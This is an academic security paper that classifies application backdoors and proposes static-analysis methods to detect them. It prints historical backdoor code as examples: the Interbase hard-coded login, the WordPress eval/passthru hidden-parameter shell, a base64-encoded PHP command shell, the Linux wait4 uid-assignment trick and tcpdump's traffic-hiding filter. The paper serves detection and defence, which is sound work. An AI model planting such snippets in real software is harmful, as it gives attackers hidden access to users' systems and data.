Static Detection of Application Backdoors

Chris Wysopal, Chris Eng

Veracode, Inc.
Burlington, MA USA

cwysopal@veracode.com, ceng@veracode.com

***Abstract*— This paper describes a high level classification of backdoors that have been detected in applications. It provides real world examples of application backdoors, a generalization of the mechanisms they use, and strategies for detecting these mechanisms. These strategies encompass detection using static analysis of source or binary code.**

I. Introduction

Backdoors are a method of bypassing authentication or other security controls in order to access a computer system or the data contained on that system. Backdoors can exist at the system level, in a cryptographic algorithm, or within an application. This paper will concentrate on application backdoors which are embedded within the code of a legitimate application.

A. Major Types of Backdoors

System backdoors are backdoors that allow access to data and processes at the system level. Rootkits, remote access software, and deliberate system misconfiguration by an attacker fall into this category. System backdoors are typically created by an attacker who has compromised a system so that he or she can retain system access even if the vulnerability they used to gain initial access is remediated. Malware such as remote access trojans or “bots” specifically created to compromise a system also fall into the system backdoor category. This malware can be installed through a vulnerability or social engineering.

In contrast to system backdoors, we define *application backdoors* as versions of legitimate software modified to bypass security mechanisms under certain conditions. These legitimate programs are meant to be installed and running on a system with the full knowledge and approval of the system operator. Application backdoors can result in the compromise of the data and transactions performed by an application. They can also result in system compromise.

Application backdoors are often inserted in the code by someone who has legitimate access to the code. Other times the source code or binary to an application is modified by someone who has compromised the system where the source code is maintained or the binary is distributed. Another method of inserting an application backdoor is to subvert the compiler, linker, or other components in the development tool chain used to create the application binary from the source code [1].

Crypto backdoors are a third category of backdoors. These are intentionally designed weaknesses in a cryptosystem for particular keys or messages that allow an attacker to gain access to clear-text messages that they shouldn’t.

This paper will focus on application backdoors and techniques designed to detect them. This information is useful to software developers to assure that the software they are creating and distributing does not contain backdoors.

B. Targets of Application Backdoors

A valuable target for an application backdoor is software that already provides remote network access to a system such as a web application or a network server process. Web applications are especially desirable because web traffic is typically allowed through firewalls and web applications frequently have access to valuable data and transactions.

Server applications in general are valuable targets because they are often continuously running on a system after it initializes and they often have privileged access to data that normal user processes do not have.

Appliances are a place where application backdoors are frequently found. Many times these are created by the appliance manufacturer for customer support purposes. While effective for providing support access without customer interaction or when the customer loses their legitimate access, these backdoors are risks and should be accounted for.

The most valuable target for a backdoor is a general purpose operating system. This gives an attacker a high level of access across many, perhaps millions, of systems. While all software producers need to scrutinize their code bases for backdoors, OS vendors and distributors have a heightened responsibility to do so.

C. Attacker Motivation and Benefits

Creating an application backdoor is a practical method for an attacker to compromise many systems with little effort. The users of the software compromise their own systems by installing the backdoored software. This can enable the attacker to gain access to highly secure systems that are otherwise rigorously locked down and monitored.

The network traffic to and from an application backdoor will most often look like typical usage of the networked application. For instance, the network traffic of an attacker using backdoored blog software will look like the typical web traffic of a blog user. This will enable them to bypass any network IDS protection.

Since the backdoored software is installed by the system operator and is legitimate software it will typically bypass anti-virus software protection.

Many attackers will place backdoors in the source code of software that they have legitimate access to simply because it is a challenge and because they can. They have no intention initially of compromising systems where the software will be installed but take the opportunity because they may want to use the backdoor in the future.

D. Current State of Detection

Application backdoors are best detected by inspecting the source code or statically inspecting the binary. It is impossible to detect most types of application backdoors dynamically because they use secret data or functionality that cannot be dynamically inspected for.

Application backdoor analysis is imperfect. It is impossible to determine the intent of all application logic. Well known backdoor mechanisms can be heavily obfuscated and novel mechanisms can certainly be employed. Automated analysis will typically need to have a high false positive rate and human review to be effective.

In the past, backdoors in source code have been detected quickly but backdoors in binaries often survive detection for years. The Linux kernel "uid=0" backdoor attempt [2] was quickly discovered but the Borland Interbase backdoor lasted for many years until the software was open sourced [3]. In general, backdoors in open source software tend to be discovered quickly while backdoors in binaries can last for years.

Most security code reviews focus on finding vulnerabilities and not on backdoors.

For compiled software, a subverted development tool chain [1] or compromised distribution site requires binary analysis for backdoor detection since the backdoor only exists after compilation or linking. In addition, modern development practices often dictate the usage of frameworks and libraries where only binary code is available. When backdoor reviews are performed at the source code level there are still significant portions of software that are not getting reviewed.

E. Prevalence

A 2007 study selected 100 COTS/open source applications packages randomly that were available for download over the internet. A suite of malicious code detection tools and manual analysis was performed on the software. 23 software packages were detected to have unwanted code such as back doors [4].

II. Application Backdoor Classes

We propose the following classes of application backdoors:

- Special credentials
- Hidden functionality
- Unintended network activity
- Manipulation of security critical parameters

The following sections illustrate these classes of backdoors with real world examples and propose detection techniques.

A. Special Credentials

Special credential backdoors are a class of application backdoor where the attacker inserts logic and special credentials into the program code. The special credentials are in the form of a special username, password, password hash, or key. The logic is a comparison to the special credential or logic that inserts the special credential into the designed credential store. An obfuscation technique for this class of backdoor is to compute the special credential from other data, either static or unique to the application installation [5].

1) Example: Borland Interbase 4.0, 5.0, 6.0 was discovered to have a special credential backdoor in 2001 shortly after the software was open sourced. The special credentials, username "politically" and password "correct", were inserted into the credential table at program startup. The support for user defined functions in the software equated this backdoor access with system access. The backdoor went undetected for seven years.

The following is the Borland Interbase backdoor code:

```
dpb = dpb_string;
*dpb++ = gds__dpb_version1;
*dpb++ = gds__dpb_user_name;
*dpb++ = strlen (LOCKSMITH_USER);
q = LOCKSMITH_USER;
while (*q)
    *dpb++ = *q++;

*dpb++ = gds__dpb_password_enc;
strcpy (password_enc,
        (char *)ENC_crypt(LOCKSMITH_PASSWORD,
                          PASSWORD_SALT));
q = password_enc + 2;
*dpb++ = strlen (q);
while (*q)
    *dpb++ = *q++;

dpb_length = dpb - dpb_string;

isc_attach_database (status_vector, 0,
    GDS_VAL(name), &DB, dpb_length,
    dpb_string);
```

A static analysis technique that would indicate that there may be a backdoor in this example would be to inspect for usage of the password crypt function that operated on static data.

Additional examples of backdoors that use special credentials are [5], [6], and [7].

2) Detection Strategies: Identify static variables that look like usernames or passwords. Start with all static strings using the ASCII character set. Focus on string comparisons as opposed to assignments or placeholders. Also inspect known crypto API calls where these strings are passed in as plaintext data.

Identify static variables that look like hashes. Start with all static strings using the character set [0-9A-Fa-f]. Narrow down to strings that correspond to lengths of known hash algorithms such as MD5 (128 bits) or SHA1 (160 bits). Focus on string comparisons as opposed to assignments or placeholders. Examine cross-references to these strings.

Identify static variables that look like cryptographic keys. Start with all static character arrays declared or dynamically allocated to a valid key length. Also identify static character arrays that are a multiple of a valid key length, which could be a key table. Narrow down to known crypto API calls where these arrays are passed in as the key parameter, for example in OpenSSL:

```
DES_set_key(const_DES_cblock *key,
            DES_key_schedule *schedule)
```

Or in BSAFE:

```
B_SetKeyInfo(B_KEY_OBJ keyObject,
             B_INFO_TYPE infoType,
             POINTER info)
```

Perform a statistical test for randomness on static variables. Data exhibiting high entropy may be encrypted data or key material and should be inspected further [8] [9].

B. Hidden Functionality

Hidden functionality backdoors allow the attacker to issue commands or authenticate without performing the designed authentication procedure. Hidden functionality backdoors often use special parameters to trigger special logic within the program that shouldn't be there. In web applications these special parameters are often invisible parameters for web requests (not to be confused with hidden fields). Other hidden functionality includes undocumented commands or left over debug code. Hidden functionality is sometimes combined with a check for a special IP on the command issuer side so that there is some protection against everyone using the backdoor.

1) Example: In 2007 WordPress 2.1.1 was backdoored [8]. A WordPress distribution server was compromised and the distribution modified to add a backdoor. Two PHP files were modified to allow remote command injection through a hidden parameter in a web request. The modification was detected within one week.

Shown below are the relevant portions of the PHP code that were inserted. It reads the values of two parameters, "ix" and "iz", from the web request and passes those values into one of two built-in PHP functions, eval() or passthru(). The eval() function processes the input string as PHP code while passthru() executes a system command.

```
function comment_text_phpfilter($filterdata) {
    eval($filterdata);
}
...
if ($_GET["ix"])
{ comment_text_phpfilter($_GET["ix"]); }

function get_theme_mcommand($mcds) {
    passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }
```

A technique for discovering this particular backdoor is no different than inspecting code for command injection vulnerabilities. First inspect for functions that call the operating system command shell and then make sure no unfiltered user input is passed to the function.

Additional examples of backdoors that use hidden functionality are [11], [12], [13], and [14].

2) Detection Strategies: Recognize common patterns in scripting languages: Create an obfuscated string, input into deobfuscation function (commonly Base64), call eval() on the result of the deobfuscation. Payload code often allows command execution or auth bypass.

The following Google Code Search query will locate this common PHP obfuscation technique:

```
http://www.google.com/codesearch?hl=en&lr=&q=eval%5C
%28base64_decode+file%3A%5C.php%24&btnG=Search
```

Identify GET or POST parameters parsed by web applications then compare them to form fields in HTML and JSP pages to find fields that only appear on the server side.

Identify potential OS command injection vectors. In C, look for calls to the exec() family and system(). In PHP, use standard code review techniques such as looking for popen(), system(), exec(), shell_exec(), passthru(), eval(), backticks, fopen(), include(), or require(). Then analyze data flow to check for tainted parameters.

Identify static variables that look like application commands. Start with all static strings using the ASCII character set (depending on the protocol, hidden commands might not be human-readable text). Focus on string comparisons as opposed to assignments or placeholders. Check the main command processing loop(s) to see if it uses direct comparisons or reads from a data structure containing valid commands.

Identify comparisons with specific IP addresses or DNS names. In C, start with all calls to socket API functions such as getpeername(), gethostbyname(), and gethostbyaddr(). Comparisons against the results of these functions are suspicious. Don't forget to look at ports as well.

C. Unintended Network Activity

Unintended network activity is a common characteristic of backdoors. This may involve a number of techniques, including listening on undocumented ports, making outbound connections to establish a command and control channel, or leaking sensitive information over the network via SMTP, HTTP, UDP, ICMP, or other protocols. Any of these behaviors may be combined with rootkit behavior in an attempt to hide the network activity from local detection.

1) Example: In 2002, a backdoor was inserted into the source code distribution of tcpdump [15], a common Unix-based network sniffer. The backdoor contained two components, an outbound command and control (C&C) channel in conjunction with a modification to the sniffer itself to hide selected packets. The C&C component was installed as a separate program that is compiled and executed as part of the build process. When run, it established an TCP connection to a hard-coded IP address on port 1963 and listened for commands, which were represented as single characters – "A" to kill itself, "D" to spawn a shell and redirect I/O over the socket, and "M" to sleep for one hour. The sniffer component modified tcpdump's gencode.c file to modify the traffic filter as shown below:

```
int l;
char *port = "1963";
char *str, *tmp, *new = "not port 1963";

if (buf && *buf && strstr (buf, port)) {
    buf = "port 1964";
} else {
    l = strlen (new) + 1;
    if (!(!buf || !*buf)) {
        l += strlen (buf);
        l += 5; /* and */
    }
    str = (char *)malloc (l);
    str[0] = '\0';
    if (!(!buf || !*buf)) {
        strcpy (str, buf);
        strcat (str, " and ");
    }
    strcat (str, new);
    buf = str;
}
```

This code inspects the user-supplied filter parameter and modifies it as follows. If the user has explicitly specified port 1963, the backdoor will modify the filter to sniff port 1964 instead. Otherwise, the string "and not port 1963" is appended to the user-selected filter. This is a crude technique and not particularly robust. For example, if the filter had been "port 1963 or port 80" it would be rewritten as "port 1964", and it would be pretty obvious that something unusual was going on when no web traffic was captured.

This particular backdoor was atypical because the C&C component depended on the build process to install itself as a separate executable; however, the same functionality could have just as easily been embedded into the main tcpdump codebase.

Additional examples of backdoors that generate unintended network activity are [16], [17], and [18].

Detection Strategies: Backdoors that rely on network behavior are most commonly detected dynamically using various network utilities, both on the affected host and upstream. However, static detection is also possible if one understands the typical patterns of behavior. A benefit of static analysis for unintended network behavior detection is in cases where the backdoor only exhibits the behavior at certain times.

Identify inbound and outbound connections. Regardless of platform or language, there are usually a set of standard API functions responsible for handling network communications. For C/C++ programs on Unix platforms these reside in the libc package; Windows supports these as well but extends them with Win32-specific APIs. Start by identifying all locations in the codebase that call functions responsible for establishing connections or sending/receiving connectionless data, such as connect(), bind(), accept(), sendto(), listen() and recvfrom(). Once these calls have been identified, pay particular attention to any outbound network activity that reference a hard-coded IP address or port. For anything that looks suspicious, analyze the data flow to determine what type of information is being sent out. For inbound activity, some knowledge of the normal application traffic will be required to determine which ports are unauthorized listeners. A J2EE application server, for example, opens a number of ports for backend communication. Keep in mind that many applications have functionality built in to automatically check for updates, so seeing at least one hard-coded outbound connection is not uncommon.

Identify potential information leaks. In addition to the obvious step of examining filesystem and registry I/O, cryptographic APIs can be a useful starting point to identify locations where sensitive data may reside. Start by identifying all locations where known cryptographic APIs are used. For example, a program that uses the OpenSSL implementation of Blowfish should call BF_set_key() to initialize the encryption key and either BF_cbc_encrypt() or one of the other BF_ functions to encrypt/decrypt data. Within these function calls, determine which parameters contain sensitive data such as keys or plaintext data. Then, analyze the data flows for these variables to locate other places in the code where they are referenced. Certain use cases are safe, for example, strlen(), bzero(), and memset(). However, if these pieces of data are passed into network functions or even file I/O, further exploration may be warranted.

Profile binaries by examining import tables. Source code may not always be available. However, it is still possible to apply static analysis techniques to understand the application profile. Compiled applications contain import tables which inform the process at run-time where to find the implementation of library functions. A variety of open-source or freeware tools can be used to parse import tables and display a list of the imported functions. Some popular tools are readelf, objdump, and nm on Unix platforms, or PEDump and PEBrowse on Windows platforms.

The purpose of profiling is simply to identify anomalies, such as the use of network APIs by an application that should be client-side only, such as a text editor. If anomalies are found, then proceed to analyze the binary in more depth, using a disassembler to trace the code paths to the suspicious calls.

D. Manipulation of Security-Critical Parameters

In any program, certain variables or parameters are more significant than others from a security standpoint. In operating system code, these could be parameters that assign certain privileges to a process, influence task scheduling, or restrict operations on memory pages. In application code, consider variables used to store the results of authentication or authorization functions, or other security mechanisms. By directly manipulating these parameters or introducing flawed logic to comparisons against them, an attacker may be able to disrupt the program in a way that is advantageous to someone who understands how to trigger it.

1) Example: In 2003, an attempt was made to backdoor the Linux 2.6 kernel [2]. The maintainers noticed and removed the backdoor before end users were ever affected. This was due in part to the fact that the attacker directly modified the CVS tree rather than committing a change via the usual mechanism. Even though the malicious code never made it to a shipping kernel, it provided valuable insight into a very subtle backdoor technique. The code snippet show here is all that was added to the sys_wait4() function of kernel/exit.c:

```
if ((options == (__WCLONE|__WALL)) &&
     (current->uid = 0))
    retval = -EINVAL;
```

The intended functionality of the wait4() system call is to allow the caller to wait on a specified child process to change state. At first glance, this modification appears to simply abort the system call if the process has certain flags set and is running as root. However, upon closer examination, the second half of the conditional actually assigns current->uid to zero rather than comparing it with zero. As a result, the calling process is granted root privileges if it calls wait4() with the _WCLONE and _WALL options set.

2) Detection: This is a difficult category to detect, partly due to the vast number of security-critical parameters to consider. One technique would be to create a list of these "interesting" variables and examine each and every reference. However, this is likely to be too time-consuming. It may make more sense to focus on known behavioral patterns rather than the variables themselves.

Take the Linux backdoor attempt as an example. In order to be subtle, the attacker disguised a backdoor as a common programming flaw, using an assign instead of a compare. Static analysis could be used to identify all instances of this behavior and then inspect each one manually. The scan would need to be tuned to take into account situations where an assignment within a conditional is intended, since this is a common idiom in C/C++. For example:

```
if ((foo == 1) && (bar = malloc(BAR_SIZE)) {
    do_something_useful();
}
```

In this case, the assignment in the conditional is used to check the return value of malloc(), which is NULL on failure. The scan could be refined by only flagging conditionals contains an assignment where the right-hand side is either a constant or a function that always returns the same value.

It could also be useful to examine logic expressions in security-critical sections or expressions that reference security-related API calls. Short-circuited compound conditionals or expressions that always evaluate to the same value should be examined in more detail. An example of the latter case, as seen in a recent vulnerability in the X.Org Window Server [19], is shown here:

```
if (getuid() == 0 || geteuid != 0) {
    if (!strcmp(argv[i], "-modulepath")) {
        /* allow arbitrary modules */
    }
}
```

While the intention of the conditional is to only process the -modulepath option if the user is root or the process is running as a non-root user, the expression is flawed because it uses the geteuid function pointer rather than the return value of geteuid(). This is a scenario where the second half of the expression would always evaluate to true because the geteuid function would never be loaded at memory address 0. It is likely that this example was an implementation vulnerability rather than a backdoor, though there is no way to be certain.

Interestingly, both the Linux kernel and X.Org examples should be detectable by relatively unsophisticated source code scanners. In fact, they may even be flagged by the compiler, if warnings are not suppressed.

III. Additional Detection Techniques

There are a number of other suspicious behaviors that may be indicative of application backdoors but either do not fall into any of the previously described categories or could potentially span multiple categories. These may include embedded shell commands, time bombs, rootkit-like behavior, self-modifying code, code or data anomalies, and Linux-specific network filters.

A. Embedded Shell Commands

This is an obvious technique but surprisingly effective. Simply grep through source files or run 'strings' or a similar utility against the compiled binary to locate any hard-coded instances of ASCII strings such as "/bin/sh", "/bin/ksh", "/bin/csh", etc. One benefit of scanning the binary in this case is that character arrays are more readable. Consider this fragment of source code:

```
static char cmd[] =
    "\x2f\x62\x69\x6e"
    "\x2f\x73\x68";
```

When the hex characters are interpreted, the string is simply "/bin/sh". However, a scan of source code might not pick this up if it was searching for the ASCII representation. Other methods of hiding embedded command strings from the casual observer include simple obfuscation such as Base64, Uuencode, ROT-N, or XOR.

B. Time Bomb

A time bomb or logic bomb may be used by a backdoor to initiate a malicious action at a certain time, or when certain conditions are met. Time bombs can usually be detected by examining calls to standard date/time API functions, such as time(), ctime(), gmtime(), localtime(), or their thread-safe variants. Again, the Win32 API provides a number of additional date/time functions. Once calls to these functions have been identified, analyze how the results are being used to determine if certain values result in different code paths.

Keep in mind that most of the time, these functions will be called for either logging purposes, execution time calculations, or simply to generate protocol timestamps. For example, HTTP includes the current system time in every server-generated response.

C. Rootkit-like Behavior

Rootkit behavior can be a warning that backdoors or other malicious code may be present. Significant research has been published on these techniques and mechanisms for detecting them, but some of the more common mechanisms will be summarized here. Luckily, rootkits often use API functions that do not typically appear in non-rootkit programs, so for static detection purposes, a straightforward approach is to identify these calls and then examine the code (or disassembler output) to determine how and why they are being used.

One common rootkit behavior is to implement function hooking. In Windows, this can be done using a series of Win32 hooking functions [20], or it can be done in a more discreet fashion by directly overwriting function entry points or manipulating the program's import address table [21]. Some of the functions that may indicate the presence of these techniques include SetWindowsHookEx(), UnhookWindowsHookEx(), CallNextHookEx(), VirtualProtect(), VirtualProtectEx(), VirtualAlloc(), VirtualAllocEx(), VirtualQuery(), and VirtualQueryEx() [22].

Rootkits also commonly perform DLL injection, in which malicious code is injected into another process' memory space and then invoked as a thread to avoid detection. The Win32 API functions WriteProcessMemory() and CreateRemoteThread() are commonly used to accomplish this task. At the kernel level, process hiding can be accomplished by directly modifying the kernel objects which maintain the process list [23].

In binaries, look for instances where the module writes data to a memory location that is calculated as an offset from a symbol that's on a known bad list, such as the start of a syscall table [24]. Both white lists and black lists are possible approaches with this method.

On the Linux platform, the network kernel subsystem provides functions for implementing custom protocol handlers or Netfilter hooks [25]. These mechanisms would allow a backdoor author to write code that watched passively for certain magic packets or series of packets. This would essentially be another way of implementing a command and control channel and could be used to covertly exfiltrate data through subtle packet modifications [26].

Identify custom protocol handlers by identifying the exported kernel functions required to register and unregister these handlers. These function calls include dev_add_pack() and __dev_remove_pack(). For Netfilter hooks, the relevant functions include nf_register_hook() and nf_unregister_hook().

D. Self-modifying Code

Any code that modifies itself at run-time is immediately suspicious. This behavior is used commonly in scripting languages but can just as easily appear in native code. Consider the following example in PHP:

```
eval(base64_decode("cGFzc3RocnUoJF9HRVRbJ2NtZCddKTs=
"));
```

When the PHP script executes, this line of code evaluates the result of the base64_decode() operation as a PHP command. Therefore, if the decoded string contains valid PHP, it will be executed in the context of the running process. This example simplifies to:

```
eval("passthru($_GET['cmd']);")
```

The effect of the resulting code is to parse the "cmd" parameter from the HTTP request, and call the passthru() function, which executes the supplied command on the server.

For native code, look for memory writes into code pages or direct jumps or calls into data pages as potential signs of self-modifying code. Note that self-modifying code may also be used in implementing some copy protection or anti reverse engineering techniques, so the mere existence of self-modifying code does not guarantee that a backdoor is present.

E. Code or Data Anomalies

Data that exhibits a high degree of entropy usually indicates one of several things – compressed, encrypted, or otherwise highly random data [9]. If the codebase contains a large chunk of high-entropy data, examine areas in the code that reference that data to determine how it is being used. Surrounding information may also provide contextual clues. The question to be answered in this situation is, "what is the author hiding?"

All sections of unreachable code should also be examined. Though it cannot technically be dangerous since there is no way to execute it, unreachable code blocks may be part of a multi-stage backdoor insertion attempt in which code is added at a later date to invoke it. This tactic may be an attempt to confuse the security code review process by injecting small pieces of latent code that are harmless on their own but dangerous when combined.

IV. Malicious Code and Other Vulnerabilities

Backdoors within malware applications are an interesting phenomenon. Clearly the point of such software is to enable malicious actions, but as with any application, they are equally prone to undocumented backdoors.

Popular backdoor applications such as SubSeven [27] and Optix Pro [28] have been found to contain master passwords inserted by the authors. While these just serve as additional examples of the Special Credentials category, they may be more difficult to detect among all of the other known backdoor functionality.

Finally, consider the notion of backdoors implemented as exploitable vulnerabilities, such as buffer overflows or integer overflows. One of the most subtle ways to inject a backdoor would be to disguise it as an implementation error. In addition to overflows, what about logic bugs such as a regular expression used for input validation that looks correct enough to pass code review but in reality can be subverted by certain character combinations? This blurs the definition of what constitutes a backdoor, and provides plausible deniability for an insider with malicious intent. Many of the exploitable vulnerabilities discovered and successfully exploited over the past decade could have been placed intentionally – it is impossible to know for sure.

V. Conclusions

Application backdoors do not require much sophistication to create and there is ample motivation for bad actors to create them. Backdoors are trivial to exploit once the word gets out so response must be very quick. The negative reputation impact to the vendor of the effected software is often much higher than the negative impact from a typical vulnerability. A vulnerability is perceived as a mistake but losing control of one's development or distribution environment is thought to be incompetence.

These factors add up to a need for software developers to become apprised of backdoor techniques and to expend resources on backdoor detection. We recommend that developers scan the code they are developing or maintaining before release. Binary code, whether a standalone application or a library that is linked into an application should be scanned for backdoors as part of the acceptance testing process. Finally, as no discussion of backdoors would be complete without following the advice of Ken Thompson's classic paper, "Reflections on Trusting Trust" [1], scan your binaries using an independent trusted scanner as not only your tool chain could be compromised but your scanner as well.

Acknowledgment

Fred Owsley and Brandon Creighton contributed research to this paper.

References

[1] Thompson, Ken, "Reflections on Trusting Trust", *Communication of the ACM* Vol. 27, No. 8, http://www.acm.org/classics/sep95/, Sep. 1995.

[2] Andrews, Jeremy, "Linux: Kernel 'Back Door' Attempt", *KernelTrap*, http://kerneltrap.org/node/1584, Nov. 2003.

[3] Poulsen, Kevin, "Borland Interbase backdoor exposed", *The Register*, http://www.theregister.co.uk/2001/01/12/borland_interbase_backdoor_exposed, Jan. 2001.

[4] Reifer Consultants presentation at Oct 2007 DHS SwA Forum

[5] Oblivion, Brian, "NetStructure 7110 console backdoor", *Bugtraq mailing list*, http://seclists.org/bugtraq/2000/May/0114.html, May 2000.

[6] Cerberus Security Team, "Cart32 secret password backdoor", *Neohapsis Archives*, http://archives.neohapsis.com/archives/win2ksecadvice/2000-q2/0048.html, Apr. 2000.

[7] Tarbatt, Dave, "APC 9606 SmartSlot Web/SNMP Management Card Backdoor", *SecuriTeam Security News*, http://www.securiteam.com/securitynews/5MP0E2AC0M.html, Feb. 2004.

[8] Lyda, Robert et al, "Using Entropy Analysis to Find Encrypted and Packed Malware", *IEEE Security and Privacy*, http://csdl2.computer.org/persagen/DLAbsToc.jsp?resourcePath=/dl/mags/sp/&toc=comp/mags/sp/2007/02/j2toc.xml&DOI=10.1109/MSP.2007.48, Apr. 2007.

[9] Carrera, Ero, "Scanning data for entropy anomalies", *nzight blog*, http://blog.dkbza.org/2007/05/scanning-data-for-entropy-anomalies.html, May 2007.

[10] Boren, Ryan, "WordPress source code compromised to enable remote code execution", *LWN.net*, http://lwn.net/Articles/224999/, Mar. 2007.

[11] US-CERT, "CERT® Advisory CA-1994-14 Trojan Horse in IRC Client for UNIX", *US-CERT Vulnerability Database*, http://www.cert.org/advisories/CA-1994-14.html, Oct. 1994.

[12] Heise Security News, "Backdoor in Artmedic CMS", http://www.heise-security.co.uk/news/89835, May 2007.

[13] Zielinski, Mark, "ID games Backdoor in quake", *insecure.org*, http://insecure.org/sploits/quake.backdoor.html, May 1998.

[14] Various, "TCP Wrapper Backdoor Vulnerability", *Security Focus*, http://www.securityfocus.com/bid/118/discuss, Jan. 1999.

[15] Various, "Latest libpcap & tcpdump sources from tcpdump.org contain a Trojan", *Houston Linux Users Group*, http://www.hlug.org/trojan/, Nov. 2002.

[16] Ercoli, Luca, "Etomite Content Management System security advisory", http://www.lucaercoli.it/advs/etomite.txt, Jan. 2006.

[17] US-CERT, "CERT® Advisory CA-2002-24 Trojan Horse OpenSSH Distribution", *US-CERT Vulnerability Database*, http://www.cert.org/advisories/CA-2002-24.html, Aug. 2002.

[18] Song, Dug, "Trojan/backdoor in fragroute 1.2 source distribution", *Virus.Org Mailing List Archive*, http://lists.virus.org/bugtraq-0205/msg00276.html, May 2002.

[19] Various, "X.Org X Window Server Local Privilege Escalation Vulnerability", *Security Focus*, http://www.securityfocus.com/archive/1/archive/1/428183/100/0/threaded, Mar. 2006.

[20] Marsh, Kyle, "Win32 Hooks", *Microsoft Developer Network*, http://msdn2.microsoft.com/en-us/library/ms997537.aspx, Feb. 1994.

[21] Ivanov, Ivo, "API Hooking Revealed", *The Code Project*, http://www.codeproject.com/system/hooksys.asp, Dec. 2002.

[22] SysSpider, "The Win32 API For Hackers", http://sysspider.vectorstar.net/papers/api4hackers.txt, unknown date.

[23] Butler, James, "VICE - Catch the Hookers", *BlackHat USA 2004*, http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-butler/bh-us-04-butler.pdf, Aug. 2004.

[24] Kruegel, Christopher et al, "Detecting Kernel-Level RootkitsThrough Binary Analysis", *20th Annual Computer Security Applications Conference*, http://www.cs.ucsb.edu/~wkr/publications/acsac04lkrm.pdf, May 2004.

[25] Bioforge, "Hacking the Linux Kernel Network Stack", *Phrack Magazine Issue 61*, http://www.phrack.org/issues.html?issue=61&id=13, Aug. 2003.

[26] Rutkowska, Joanna, "Linux Kernel Backdoors And Their Detection", *IT Underground 2004*, http://invisiblethings.org/papers/ITUnderground2004_Linux_kernel_backdoors.ppt, Oct. 2004.

[27] Defiler, "Trojan Reversing part I", http://www.woodmann.com/fravia/defiler_TrojanRE.htm, Sep. 2000.

[28] Poulsen, Kevin, "Backdoor program gets backdoored", *The Register*, http://www.theregister.co.uk/2004/06/13/optix_backdoor_password/, June 2004.